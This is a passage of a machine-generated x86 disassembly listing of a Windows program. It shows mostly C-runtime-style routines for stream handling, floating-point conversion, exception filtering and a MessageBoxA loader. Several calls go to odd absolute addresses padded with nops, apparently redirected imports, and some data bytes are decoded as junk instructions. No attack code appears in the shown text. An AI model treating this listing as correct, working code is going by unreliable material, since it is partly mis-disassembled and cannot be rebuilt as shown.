80h jz short loc_42476C mov eax, dword_43D084 cmp eax, 1 jle short loc_424753 cmp [ebp+arg_8], eax jl short loc_42475D xor ecx, ecx cmp [ebp+arg_0], ebx setnz cl push ecx push [ebp+arg_0] push eax push esi push 9 push dword_4DBE94 nop call near ptr 2700000h test eax, eax mov eax, dword_43D084 jnz short loc_4246F0 loc_424753: ; CODE XREF: sub_4246CB+5Cj cmp [ebp+arg_8], eax jb short loc_42475D cmp [esi+1], bl jnz short loc_4246F0 loc_42475D: ; CODE XREF: sub_4246CB+61j ; sub_4246CB+8Bj ... mov dword_4DBDDC, 2Ah or eax, 0FFFFFFFFh jmp short loc_4246F0 ; --------------------------------------------------------------------------- loc_42476C: ; CODE XREF: sub_4246CB+52j xor eax, eax cmp [ebp+arg_0], ebx setnz al push eax push [ebp+arg_0] push 1 push esi push 9 push dword_4DBE94 call near ptr 2700000h nop test eax, eax jnz loc_42470A jmp short loc_42475D sub_4246CB endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_4247A0 proc near ; CODE XREF: sub_420DB0+797p ; sub_420DB0+7E7p cmp cl, 40h jnb short loc_4247BA cmp cl, 20h jnb short loc_4247B0 shld edx, eax, cl shl eax, cl retn ; --------------------------------------------------------------------------- loc_4247B0: ; CODE XREF: sub_4247A0+8j mov edx, eax xor eax, eax and cl, 1Fh shl edx, cl retn ; --------------------------------------------------------------------------- loc_4247BA: ; CODE XREF: sub_4247A0+3j xor eax, eax xor edx, edx retn sub_4247A0 endp ; =============== S U B R O U T I N E ======================================= sub_4247BF proc near ; CODE XREF: sub_421826+Fp arg_0 = dword ptr 4 arg_4 = dword ptr 8 push ebx mov ebx, [esp+4+arg_0] cmp ebx, 0FFFFFFFFh push esi jz short loc_42480B mov esi, [esp+8+arg_4] mov eax, [esi+0Ch] test al, 1 jnz short loc_4247DD test al, 80h jz short loc_42480B test al, 2 jnz short loc_42480B loc_4247DD: ; CODE XREF: sub_4247BF+14j cmp dword ptr [esi+8], 0 jnz short loc_4247EA push esi call sub_4241F7 pop ecx loc_4247EA: ; CODE XREF: sub_4247BF+22j mov eax, [esi] cmp eax, [esi+8] jnz short loc_4247FA cmp dword ptr [esi+4], 0 jnz short loc_42480B inc eax mov [esi], eax loc_4247FA: ; CODE XREF: sub_4247BF+30j test byte ptr [esi+0Ch], 40h jz short loc_424811 dec dword ptr [esi] mov eax, [esi] cmp [eax], bl jz short loc_424817 inc eax mov [esi], eax loc_42480B: ; CODE XREF: sub_4247BF+9j ; sub_4247BF+18j ... or eax, 0FFFFFFFFh loc_42480E: ; CODE XREF: sub_4247BF+6Cj pop esi pop ebx retn ; --------------------------------------------------------------------------- loc_424811: ; CODE XREF: sub_4247BF+3Fj dec dword ptr [esi] mov eax, [esi] mov [eax], bl loc_424817: ; CODE XREF: sub_4247BF+47j mov eax, [esi+0Ch] inc dword ptr [esi+4] and al, 0EFh or al, 1 mov [esi+0Ch], eax mov eax, ebx and eax, 0FFh jmp short loc_42480E sub_4247BF endp ; =============== S U B R O U T I N E ======================================= sub_42482D proc near ; CODE XREF: sub_421E16+52p xor eax, eax retn sub_42482D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_424830 proc near ; CODE XREF: sub_424865+Ep var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push esi fstcw word ptr [ebp+var_4] push [ebp+var_4] call sub_42487B mov esi, eax mov eax, [ebp+arg_4] not eax and esi, eax mov eax, [ebp+arg_0] and eax, [ebp+arg_4] or esi, eax push esi call sub_42490D pop ecx mov [ebp+arg_4], eax pop ecx fldcw word ptr [ebp+arg_4] mov eax, esi pop esi leave retn sub_424830 endp ; =============== S U B R O U T I N E ======================================= sub_424865 proc near ; CODE XREF: sub_422102+Ap arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_4] and eax, 0FFF7FFFFh push eax push [esp+4+arg_0] call sub_424830 pop ecx pop ecx retn sub_424865 endp ; =============== S U B R O U T I N E ======================================= sub_42487B proc near ; CODE XREF: sub_424830+Cp arg_0 = dword ptr 4 push ebx mov ebx, [esp+4+arg_0] xor eax, eax push ebp test bl, 1 push edi jz short loc_42488C push 10h pop eax loc_42488C: ; CODE XREF: sub_42487B+Cj test bl, 4 jz short loc_424893 or al, 8 loc_424893: ; CODE XREF: sub_42487B+14j test bl, 8 jz short loc_42489A or al, 4 loc_42489A: ; CODE XREF: sub_42487B+1Bj test bl, 10h jz short loc_4248A1 or al, 2 loc_4248A1: ; CODE XREF: sub_42487B+22j test bl, 20h jz short loc_4248A8 or al, 1 loc_4248A8: ; CODE XREF: sub_42487B+29j test bl, 2 jz short loc_4248B2 or eax, 80000h loc_4248B2: ; CODE XREF: sub_42487B+30j movzx ecx, bx push esi mov edx, ecx mov esi, 0C00h mov edi, 300h and edx, esi mov ebp, 200h jz short loc_4248EA cmp edx, 400h jz short loc_4248E7 cmp edx, 800h jz short loc_4248E3 cmp edx, esi jnz short loc_4248EA or eax, edi jmp short loc_4248EA ; --------------------------------------------------------------------------- loc_4248E3: ; CODE XREF: sub_42487B+5Ej or eax, ebp jmp short loc_4248EA ; --------------------------------------------------------------------------- loc_4248E7: ; CODE XREF: sub_42487B+56j or ah, 1 loc_4248EA: ; CODE XREF: sub_42487B+4Ej ; sub_42487B+62j ... and ecx, edi pop esi jz short loc_4248FA cmp ecx, ebp jnz short loc_4248FF or eax, 10000h jmp short loc_4248FF ; --------------------------------------------------------------------------- loc_4248FA: ; CODE XREF: sub_42487B+72j or eax, 20000h loc_4248FF: ; CODE XREF: sub_42487B+76j ; sub_42487B+7Dj pop edi pop ebp test bh, 10h pop ebx jz short locret_42490C or eax, 40000h locret_42490C: ; CODE XREF: sub_42487B+8Aj retn sub_42487B endp ; =============== S U B R O U T I N E ======================================= sub_42490D proc near ; CODE XREF: sub_424830+23p arg_0 = dword ptr 4 push ebx mov ebx, [esp+4+arg_0] xor eax, eax push esi test bl, 10h jz short loc_42491D push 1 pop eax loc_42491D: ; CODE XREF: sub_42490D+Bj test bl, 8 jz short loc_424924 or al, 4 loc_424924: ; CODE XREF: sub_42490D+13j test bl, 4 jz short loc_42492B or al, 8 loc_42492B: ; CODE XREF: sub_42490D+1Aj test bl, 2 jz short loc_424932 or al, 10h loc_424932: ; CODE XREF: sub_42490D+21j test bl, 1 jz short loc_424939 or al, 20h loc_424939: ; CODE XREF: sub_42490D+28j test ebx, 80000h jz short loc_424943 or al, 2 loc_424943: ; CODE XREF: sub_42490D+32j mov ecx, ebx mov edx, 300h and ecx, edx mov esi, 200h jz short loc_424970 cmp ecx, 100h jz short loc_42496D cmp ecx, esi jz short loc_424968 cmp ecx, edx jnz short loc_424970 or ah, 0Ch jmp short loc_424970 ; --------------------------------------------------------------------------- loc_424968: ; CODE XREF: sub_42490D+50j or ah, 8 jmp short loc_424970 ; --------------------------------------------------------------------------- loc_42496D: ; CODE XREF: sub_42490D+4Cj or ah, 4 loc_424970: ; CODE XREF: sub_42490D+44j ; sub_42490D+54j ... mov ecx, ebx and ecx, 30000h jz short loc_424986 cmp ecx, 10000h jnz short loc_424988 or eax, esi jmp short loc_424988 ; --------------------------------------------------------------------------- loc_424986: ; CODE XREF: sub_42490D+6Bj or eax, edx loc_424988: ; CODE XREF: sub_42490D+73j ; sub_42490D+77j pop esi test ebx, 40000h pop ebx jz short locret_424995 or ah, 10h locret_424995: ; CODE XREF: sub_42490D+83j retn sub_42490D endp ; =============== S U B R O U T I N E ======================================= sub_424996 proc near ; CODE XREF: sub_424A35+48p arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_4] push esi push 20h cdq pop ecx idiv ecx push 1Fh mov esi, eax mov eax, [esp+8+arg_4] cdq idiv ecx pop ecx mov eax, [esp+4+arg_0] sub ecx, edx or edx, 0FFFFFFFFh shl edx, cl not edx test [eax+esi*4], edx jnz short loc_4249DB inc esi cmp esi, 3 jge short loc_4249D6 lea eax, [eax+esi*4] loc_4249C8: ; CODE XREF: sub_424996+3Ej cmp dword ptr [eax], 0 jnz short loc_4249DB inc esi add eax, 4 cmp esi, 3 jl short loc_4249C8 loc_4249D6: ; CODE XREF: sub_424996+2Dj push 1 pop eax pop esi retn ; --------------------------------------------------------------------------- loc_4249DB: ; CODE XREF: sub_424996+27j ; sub_424996+35j xor eax, eax pop esi retn sub_424996 endp ; =============== S U B R O U T I N E ======================================= sub_4249DF proc near ; CODE XREF: sub_424A35+57p arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_4] push ebx push esi push edi push 20h mov ebx, [esp+10h+arg_0] cdq pop ecx idiv ecx mov esi, eax mov eax, [esp+0Ch+arg_4] cdq idiv ecx lea edi, [ebx+esi*4] push edi push 1Fh pop ecx push 1 pop eax sub ecx, edx shl eax, cl push eax push dword ptr [edi] call sub_425301 add esp, 0Ch dec esi js short loc_424A31 lea edi, [ebx+esi*4] loc_424A18: ; CODE XREF: sub_4249DF+50j test eax, eax jz short loc_424A31 push edi push 1 push dword ptr [edi] call sub_425301 add esp, 0Ch dec esi sub edi, 4 test esi, esi jge short loc_424A18 loc_424A31: ; CODE XREF: sub_4249DF+34j ; sub_4249DF+3Bj pop edi pop esi pop ebx retn sub_4249DF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_424A35 proc near ; CODE XREF: sub_424B90+81p ; sub_424B90+CCp var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ecx mov eax, [ebp+arg_4] push ebx push esi push edi lea edi, [eax-1] push 20h pop ecx and [ebp+var_4], 0 lea ebx, [edi+1] push 20h mov eax, ebx pop esi cdq idiv ecx push 1Fh mov ecx, eax mov eax, ebx cdq idiv esi mov eax, [ebp+arg_0] pop esi push 1 mov [ebp+var_8], ecx lea eax, [eax+ecx*4] mov [ebp+arg_4], eax sub esi, edx pop edx mov ecx, esi shl edx, cl test [eax], edx jz short loc_424A99 inc ebx push ebx push [ebp+arg_0] call sub_424996 pop ecx test eax, eax pop ecx jnz short loc_424A96 push edi push [ebp+arg_0] call sub_4249DF pop ecx mov [ebp+var_4], eax pop ecx loc_424A96: ; CODE XREF: sub_424A35+51j mov eax, [ebp+arg_4] loc_424A99: ; CODE XREF: sub_424A35+41j or edx, 0FFFFFFFFh mov ecx, esi shl edx, cl push 3 pop ecx and [eax], edx mov eax, [ebp+var_8] inc eax cmp eax, ecx jge short loc_424AB9 mov edx, [ebp+arg_0] sub ecx, eax lea edi, [edx+eax*4] xor eax, eax rep stosd loc_424AB9: ; CODE XREF: sub_424A35+76j mov eax, [ebp+var_4] pop edi pop esi pop ebx leave retn sub_424A35 endp ; =============== S U B R O U T I N E ======================================= sub_424AC1 proc near ; CODE XREF: sub_424B90+75p ; sub_424B90+B6p arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_4] mov ecx, [esp+arg_0] push esi push 3 sub ecx, eax pop edx loc_424ACF: ; CODE XREF: sub_424AC1+17j mov esi, [eax] mov [ecx+eax], esi add eax, 4 dec edx jnz short loc_424ACF pop esi retn sub_424AC1 endp ; =============== S U B R O U T I N E ======================================= sub_424ADC proc near ; CODE XREF: sub_424B90+5Fp ; sub_424B90+9Ep ... arg_0 = dword ptr 4 push edi mov edi, [esp+4+arg_0] xor eax, eax stosd stosd stosd pop edi retn sub_424ADC endp ; =============== S U B R O U T I N E ======================================= sub_424AE8 proc near ; CODE XREF: sub_424B90+4Dp arg_0 = dword ptr 4 mov eax, [esp+arg_0] xor ecx, ecx loc_424AEE: ; CODE XREF: sub_424AE8+12j cmp dword ptr [eax], 0 jnz short loc_424B00 inc ecx add eax, 4 cmp ecx, 3 jl short loc_424AEE push 1 pop eax retn ; --------------------------------------------------------------------------- loc_424B00: ; CODE XREF: sub_424AE8+9j xor eax, eax retn sub_424AE8 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_424B03 proc near ; CODE XREF: sub_424B90+C0p ; sub_424B90+DAp ... var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 0Ch mov eax, [ebp+arg_4] push ebx push esi push edi push 20h mov edi, [ebp+arg_0] pop ebx or esi, 0FFFFFFFFh cdq mov ecx, ebx mov [ebp+var_4], 3 idiv ecx mov [ebp+var_C], eax mov eax, [ebp+arg_4] cdq idiv ecx and [ebp+arg_4], 0 mov ecx, edx shl esi, cl sub ebx, edx not esi loc_424B39: ; CODE XREF: sub_424B03+58j mov eax, [edi] mov ecx, eax and ecx, esi mov [ebp+var_8], ecx mov ecx, edx shr eax, cl or eax, [ebp+arg_4] mov [edi], eax mov eax, [ebp+var_8] mov ecx, ebx add edi, 4 shl eax, cl dec [ebp+var_4] mov [ebp+arg_4], eax jnz short loc_424B39 mov edi, [ebp+var_C] push 2 pop ebx mov esi, edi push 8 pop ecx shl esi, 2 loc_424B6B: ; CODE XREF: sub_424B03+86j cmp ebx, edi jl short loc_424B7E mov edx, [ebp+arg_0] mov eax, ecx sub eax, esi mov eax, [eax+edx] mov [ecx+edx], eax jmp short loc_424B85 ; --------------------------------------------------------------------------- loc_424B7E: ; CODE XREF: sub_424B03+6Aj mov eax, [ebp+arg_0] and dword ptr [ecx+eax], 0 loc_424B85: ; CODE XREF: sub_424B03+79j dec ebx sub ecx, 4 jns short loc_424B6B pop edi pop esi pop ebx leave retn sub_424B03 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_424B90 proc near ; CODE XREF: sub_424CFC+Dp ; sub_424D12+Dp var_18 = byte ptr -18h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 18h mov eax, [ebp+arg_0] push ebx push esi push edi movzx ecx, word ptr [eax+0Ah] mov ebx, ecx and ecx, 8000h mov [ebp+arg_0], ecx mov ecx, [eax+6] mov [ebp+var_C], ecx mov ecx, [eax+2] movzx eax, word ptr [eax] mov edi, [ebp+arg_8] and ebx, 7FFFh sub ebx, 3FFFh mov [ebp+var_8], ecx shl eax, 10h cmp ebx, 0FFFFC001h mov [ebp+var_4], eax jnz short loc_424BFD lea eax, [ebp+var_C] xor esi, esi push eax call sub_424AE8 test eax, eax pop ecx jnz loc_424CBC lea eax, [ebp+var_C] push eax call sub_424ADC pop ecx loc_424BF5: ; CODE XREF: sub_424B90+E4j push 2 loc_424BF7: ; CODE XREF: sub_424B90+110j pop eax jmp loc_424CBE ; --------------------------------------------------------------------------- loc_424BFD: ; CODE XREF: sub_424B90+45j lea eax, [ebp+var_C] push eax lea eax, [ebp+var_18] push eax call sub_424AC1 push dword ptr [edi+8] lea eax, [ebp+var_C] push eax call sub_424A35 add esp, 10h test eax, eax jz short loc_424C1E inc ebx loc_424C1E: ; CODE XREF: sub_424B90+8Bj mov eax, [edi+4] mov ecx, eax sub ecx, [edi+8] cmp ebx, ecx jge short loc_424C36 lea eax, [ebp+var_C] push eax call sub_424ADC pop ecx jmp short loc_424C72 ; --------------------------------------------------------------------------- loc_424C36: ; CODE XREF: sub_424B90+98j cmp ebx, eax jg short loc_424C79 sub eax, ebx mov esi, eax lea eax, [ebp+var_18] push eax lea eax, [ebp+var_C] push eax call sub_424AC1 lea eax, [ebp+var_C] push esi push eax call sub_424B03 push dword ptr [edi+8] lea eax, [ebp+var_C] push eax call sub_424A35 mov eax, [edi+0Ch] inc eax push eax lea eax, [ebp+var_C] push eax call sub_424B03 add esp, 20h loc_424C72: ; CODE XREF: sub_424B90+A4j xor esi, esi jmp loc_424BF5 ; --------------------------------------------------------------------------- loc_424C79: ; CODE XREF: sub_424B90+A8j cmp ebx, [edi] jl short loc_424CA5 lea eax, [ebp+var_C] push eax call sub_424ADC push dword ptr [edi+0Ch] or byte ptr [ebp+var_C+3], 80h lea eax, [ebp+var_C] push eax call sub_424B03 mov esi, [edi+14h] add esp, 0Ch add esi, [edi] push 1 jmp loc_424BF7 ; --------------------------------------------------------------------------- loc_424CA5: ; CODE XREF: sub_424B90+EBj push dword ptr [edi+0Ch] mov esi, [edi+14h] and byte ptr [ebp+var_C+3], 7Fh lea eax, [ebp+var_C] push eax add esi, ebx call sub_424B03 pop ecx pop ecx loc_424CBC: ; CODE XREF: sub_424B90+55j xor eax, eax loc_424CBE: ; CODE XREF: sub_424B90+68j push 1Fh pop ecx sub ecx, [edi+0Ch] mov edi, [edi+10h] shl esi, cl mov ecx, [ebp+arg_0] neg ecx sbb ecx, ecx and ecx, 80000000h or esi, ecx or esi, [ebp+var_C] cmp edi, 40h jnz short loc_424CED mov ecx, [ebp+arg_4] mov edx, [ebp+var_8] mov [ecx+4], esi mov [ecx], edx jmp short loc_424CF7 ; --------------------------------------------------------------------------- loc_424CED: ; CODE XREF: sub_424B90+14Ej cmp edi, 20h jnz short loc_424CF7 mov ecx, [ebp+arg_4] mov [ecx], esi loc_424CF7: ; CODE XREF: sub_424B90+15Bj ; sub_424B90+160j pop edi pop esi pop ebx leave retn sub_424B90 endp ; =============== S U B R O U T I N E ======================================= sub_424CFC proc near ; CODE XREF: sub_424D28+23p arg_0 = dword ptr 4 arg_4 = dword ptr 8 push offset dword_43D7F8 push [esp+4+arg_4] push [esp+8+arg_0] call sub_424B90 add esp, 0Ch retn sub_424CFC endp ; =============== S U B R O U T I N E ======================================= sub_424D12 proc near ; CODE XREF: sub_424D55+23p arg_0 = dword ptr 4 arg_4 = dword ptr 8 push offset dword_43D810 push [esp+4+arg_4] push [esp+8+arg_0] call sub_424B90 add esp, 0Ch retn sub_424D12 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_424D28 proc near ; CODE XREF: sub_42223B+12p var_C = byte ptr -0Ch arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 0Ch xor eax, eax push eax push eax push eax push eax push [ebp+arg_4] lea eax, [ebp+arg_4] push eax lea eax, [ebp+var_C] push eax call sub_4254A2 push [ebp+arg_0] lea eax, [ebp+var_C] push eax call sub_424CFC add esp, 24h leave retn sub_424D28 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_424D55 proc near ; CODE XREF: sub_42223B+2Dp var_C = byte ptr -0Ch arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 0Ch xor eax, eax push eax push eax push eax push eax push [ebp+arg_4] lea eax, [ebp+arg_4] push eax lea eax, [ebp+var_C] push eax call sub_4254A2 push [ebp+arg_0] lea eax, [ebp+var_C] push eax call sub_424D12 add esp, 24h leave retn sub_424D55 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_424D82 proc near ; CODE XREF: sub_422279+65p ; sub_42237D+63p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp mov edx, [ebp+arg_8] push ebx mov ebx, [ebp+arg_4] push esi mov esi, [ebp+arg_0] mov ecx, [edx+0Ch] push edi lea edi, [esi+1] mov byte ptr [esi], 30h test ebx, ebx mov eax, edi jle short loc_424DBF mov [ebp+arg_0], ebx xor ebx, ebx loc_424DA5: ; CODE XREF: sub_424D82+38j mov dl, [ecx] test dl, dl jz short loc_424DB1 movsx edx, dl inc ecx jmp short loc_424DB4 ; --------------------------------------------------------------------------- loc_424DB1: ; CODE XREF: sub_424D82+27j push 30h pop edx loc_424DB4: ; CODE XREF: sub_424D82+2Dj mov [eax], dl inc eax dec [ebp+arg_0] jnz short loc_424DA5 mov edx, [ebp+arg_8] loc_424DBF: ; CODE XREF: sub_424D82+1Cj and byte ptr [eax], 0 test ebx, ebx jl short loc_424DD8 cmp byte ptr [ecx], 35h jl short loc_424DD8 loc_424DCB: ; CODE XREF: sub_424D82+52j dec eax cmp byte ptr [eax], 39h jnz short loc_424DD6 mov byte ptr [eax], 30h jmp short loc_424DCB ; --------------------------------------------------------------------------- loc_424DD6: ; CODE XREF: sub_424D82+4Dj inc byte ptr [eax] loc_424DD8: ; CODE XREF: sub_424D82+42j ; sub_424D82+47j cmp byte ptr [esi], 31h jnz short loc_424DE2 inc dword ptr [edx+4] jmp short loc_424DF4 ; --------------------------------------------------------------------------- loc_424DE2: ; CODE XREF: sub_424D82+59j push edi call sub_41B9C0 inc eax push eax push edi push esi call sub_41D670 add esp, 10h loc_424DF4: ; CODE XREF: sub_424D82+5Ej pop edi pop esi pop ebx pop ebp retn sub_424D82 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_424DF9 proc near ; CODE XREF: sub_422279+3Fp ; sub_42237D+46p ... var_C = byte ptr -0Ch arg_0 = byte ptr 8 push ebp mov ebp, esp sub esp, 0Ch push esi lea eax, [ebp+arg_0] push edi push eax lea eax, [ebp+var_C] push eax call sub_424E5D pop ecx lea esi, [ebp+var_C] pop ecx push offset word_4DBFB8 push 0 push 11h sub esp, 0Ch mov edi, esp movsd movsd movsw call sub_425973 mov dword_4DBFE0, eax add esp, 18h movsx eax, byte_4DBFBA mov dword_4DBFD8, eax pop edi movsx eax, word_4DBFB8 mov dword_4DBFDC, eax mov dword_4DBFE4, offset dword_4DBFBC mov eax, offset dword_4DBFD8 pop esi leave retn sub_424DF9 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_424E5D proc near ; CODE XREF: sub_424DF9+10p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx mov edx, [ebp+arg_4] push ebx push esi push edi mov ax, [edx+6] mov edi, 7FFh mov ecx, eax and eax, 8000h shr ecx, 4 and ecx, edi mov [ebp+arg_4], eax mov eax, [edx+4] mov edx, [edx] movzx ebx, cx mov esi, 80000000h and eax, 0FFFFFh test ebx, ebx mov [ebp+var_4], esi jz short loc_424EAB cmp ebx, edi jz short loc_424EA4 lea edi, [ecx+3C00h] jmp short loc_424ECC ; --------------------------------------------------------------------------- loc_424EA4: ; CODE XREF: sub_424E5D+3Dj mov edi, 7FFFh jmp short loc_424ECC ; --------------------------------------------------------------------------- loc_424EAB: ; CODE XREF: sub_424E5D+39j xor ebx, ebx cmp eax, ebx jnz short loc_424EC3 cmp edx, ebx jnz short loc_424EC3 mov eax, [ebp+arg_0] mov [eax+4], ebx mov [eax], ebx mov [eax+8], bx jmp short loc_424F0E ; --------------------------------------------------------------------------- loc_424EC3: ; CODE XREF: sub_424E5D+52j ; sub_424E5D+56j lea edi, [ecx+3C01h] mov [ebp+var_4], ebx loc_424ECC: ; CODE XREF: sub_424E5D+45j ; sub_424E5D+4Cj mov ecx, edx shr ecx, 15h shl eax, 0Bh or ecx, eax mov eax, [ebp+arg_0] or ecx, [ebp+var_4] shl edx, 0Bh mov [eax+4], ecx mov [eax], edx loc_424EE4: ; CODE XREF: sub_424E5D+A6j test ecx, esi jnz short loc_424F05 mov edx, [eax] add ecx, ecx mov ebx, edx shr ebx, 1Fh or ebx, ecx lea ecx, [edx+edx] mov [eax], ecx mov [eax+4], ebx add edi, 0FFFFh mov ecx, ebx jmp short loc_424EE4 ; --------------------------------------------------------------------------- loc_424F05: ; CODE XREF: sub_424E5D+89j mov ecx, [ebp+arg_4] or ecx, edi mov [eax+8], cx loc_424F0E: ; CODE XREF: sub_424E5D+64j pop edi pop esi pop ebx leave retn sub_424E5D endp ; --------------------------------------------------------------------------- push 2 call sub_41E2C9 pop ecx retn ; =============== S U B R O U T I N E ======================================= sub_424F1C proc near ; DATA XREF: ___:0043D438o ; ___:0043DB78o arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] mov eax, [esi] cmp dword ptr [eax], 0E06D7363h jnz short loc_424F3F cmp dword ptr [eax+10h], 3 jnz short loc_424F3F cmp dword ptr [eax+14h], 19930520h jnz short loc_424F3F jmp sub_422DFC ; --------------------------------------------------------------------------- loc_424F3F: ; CODE XREF: sub_424F1C+Dj ; sub_424F1C+13j ... mov eax, dword_4DBFE8 test eax, eax jz short loc_424F5C push eax call sub_424FB8 test eax, eax pop ecx jz short loc_424F5C push esi call dword_4DBFE8 jmp short loc_424F5E ; --------------------------------------------------------------------------- loc_424F5C: ; CODE XREF: sub_424F1C+2Aj ; sub_424F1C+35j xor eax, eax loc_424F5E: ; CODE XREF: sub_424F1C+3Ej pop esi retn 4 sub_424F1C endp ; --------------------------------------------------------------------------- word_424F62 dw 1C68h ; DATA XREF: ___:00429024o ; --------------------------------------------------------------------------- dec edi inc edx add [eax+1DB536E8h], dl add ah, byte ptr dword_4DBFE8[ebx] retn ; --------------------------------------------------------------------------- byte_424F73 db 0FFh ; DATA XREF: ___:0042903Co dd 4DBFE835h, 24E89000h, 0C3021DB5h ; =============== S U B R O U T I N E ======================================= sub_424F80 proc near ; CODE XREF: sub_422651+6Bp ; sub_422B62+61p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi push 1 pop esi push [esp+4+arg_4] push [esp+8+arg_0] call near ptr 2600000h nop test eax, eax jz short loc_424F98 xor esi, esi loc_424F98: ; CODE XREF: sub_424F80+14j mov eax, esi pop esi retn sub_424F80 endp ; =============== S U B R O U T I N E ======================================= sub_424F9C proc near ; CODE XREF: sub_422B62+73p ; sub_422B62+BFp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi push 1 pop esi push [esp+4+arg_4] push [esp+8+arg_0] nop call near ptr 2660780h test eax, eax jz short loc_424FB4 xor esi, esi loc_424FB4: ; CODE XREF: sub_424F9C+14j mov eax, esi pop esi retn sub_424F9C endp ; =============== S U B R O U T I N E ======================================= sub_424FB8 proc near ; CODE XREF: sub_422B62+15Bp ; sub_424F1C+2Dp arg_0 = dword ptr 4 push esi push 1 pop esi push [esp+4+arg_0] nop call near ptr 25F0B0Dh test eax, eax jz short loc_424FCC xor esi, esi loc_424FCC: ; CODE XREF: sub_424FB8+10j mov eax, esi pop esi retn sub_424FB8 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_422DFC loc_424FD0: ; CODE XREF: sub_422DFC:loc_422E4Dj push 0Ah call sub_423DD1 push 16h call sub_425C06 pop ecx pop ecx push 3 call sub_41C1A2 ; END OF FUNCTION CHUNK FOR sub_422DFC ; =============== S U B R O U T I N E ======================================= sub_424FE7 proc near ; CODE XREF: ___:004236A6p arg_0 = dword ptr 4 push 4 push 0 push [esp+8+arg_0] call sub_424FF8 add esp, 0Ch retn sub_424FE7 endp ; =============== S U B R O U T I N E ======================================= sub_424FF8 proc near ; CODE XREF: sub_424FE7+8p arg_0 = byte ptr 4 arg_4 = dword ptr 8 arg_8 = byte ptr 0Ch movzx eax, [esp+arg_0] mov cl, [esp+arg_8] test byte_4DD261[eax], cl jnz short loc_425025 cmp [esp+arg_4], 0 jz short loc_42501E movzx eax, word_43CE82[eax*2] and eax, [esp+arg_4] jmp short loc_425020 ; --------------------------------------------------------------------------- loc_42501E: ; CODE XREF: sub_424FF8+16j xor eax, eax loc_425020: ; CODE XREF: sub_424FF8+24j test eax, eax jnz short loc_425025 retn ; --------------------------------------------------------------------------- loc_425025: ; CODE XREF: sub_424FF8+Fj ; sub_424FF8+2Aj push 1 pop eax retn sub_424FF8 endp ; =============== S U B R O U T I N E ======================================= sub_425029 proc near ; CODE XREF: sub_423DD1+11Fp arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push ebx xor ebx, ebx cmp dword_4DBFEC, ebx push esi push edi jnz short loc_425078 push offset aUser32_dll ; "user32.dll" nop call near ptr 26C0000h mov edi, eax cmp edi, ebx jz short loc_4250AE mov esi, dword_4270C4 push offset aMessageboxa ; "MessageBoxA" push edi call esi test eax, eax mov dword_4DBFEC, eax jz short loc_4250AE push offset aGetactivewindo ; "GetActiveWindow" push edi call esi push offset aGetlastactivep ; "GetLastActivePopup" push edi mov dword_4DBFF0, eax call esi mov dword_4DBFF4, eax loc_425078: ; CODE XREF: sub_425029+Bj mov eax, dword_4DBFF0 test eax, eax jz short loc_425097 call eax mov ebx, eax test ebx, ebx jz short loc_425097 mov eax, dword_4DBFF4 test eax, eax jz short loc_425097 push ebx call eax mov ebx, eax loc_425097: ; CODE XREF: sub_425029+56j ; sub_425029+5Ej ... push [esp+0Ch+arg_8] push [esp+10h+arg_4] push [esp+14h+arg_0] push ebx call dword_4DBFEC loc_4250AA: ; CODE XREF: sub_425029+87j pop edi pop esi pop ebx retn ; --------------------------------------------------------------------------- loc_4250AE: ; CODE XREF: sub_425029+1Cj ; sub_425029+33j xor eax, eax jmp short loc_4250AA sub_425029 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4250B2 proc near ; CODE XREF: sub_42413E+22p ; sub_42413E+3Bp arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push esi mov esi, [ebp+arg_0] imul esi, [ebp+arg_4] cmp esi, 0FFFFFFE0h push edi mov [ebp+arg_0], esi ja short loc_4250D3 test esi, esi jnz short loc_4250CD push 1 pop esi loc_4250CD: ; CODE XREF: sub_4250B2+16j add esi, 0Fh and esi, 0FFFFFFF0h loc_4250D3: ; CODE XREF: sub_4250B2+12j ; sub_4250B2+94j xor edi, edi cmp esi, 0FFFFFFE0h ja short loc_425132 mov eax, dword_4DD388 cmp eax, 3 jnz short loc_4250FE mov eax, [ebp+arg_0] cmp eax, dword_4DD380 ja short loc_42511D push eax call sub_41EA6B mov edi, eax pop ecx test edi, edi jnz short loc_425148 jmp short loc_42511D ; 